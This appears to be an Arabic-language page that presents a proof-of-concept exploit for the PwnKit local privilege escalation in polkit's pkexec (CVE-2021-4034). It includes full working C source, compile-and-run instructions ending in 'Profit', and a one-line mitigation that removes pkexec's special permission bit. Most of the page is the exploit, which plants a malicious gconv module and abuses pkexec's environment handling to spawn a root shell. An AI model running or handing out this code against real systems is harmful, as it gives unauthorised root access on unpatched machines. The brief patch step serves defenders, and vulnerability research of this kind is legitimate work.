CVE-2021-4034

إثبات المفهوم (PoC) وتصحيح ثغرة Pkexec في Polkit CVE-2021-4034

تم التأكيد على Ubuntu 21.10 المحدّث بالكامل
إثبات المفهوم (PoC)
التصحيح

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

تم التأكيد على Ubuntu 21.10 المحدّث بالكامل:

Poolkit

إثبات المفهوم (PoC):

/* Compile: gcc polkit_PoC.c -o PwnKit
* Change perms: chmod +x ./PwnKit
* Profit: ./PwnKit
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

التصحيح:

إزالة بت SGID من /usr/bin/pkexec

cd /usr/bin && sudo chmod 0755 ./pkexec

Polkit-s-Pkexec-CVE-2021-4034

الأكثر شعبية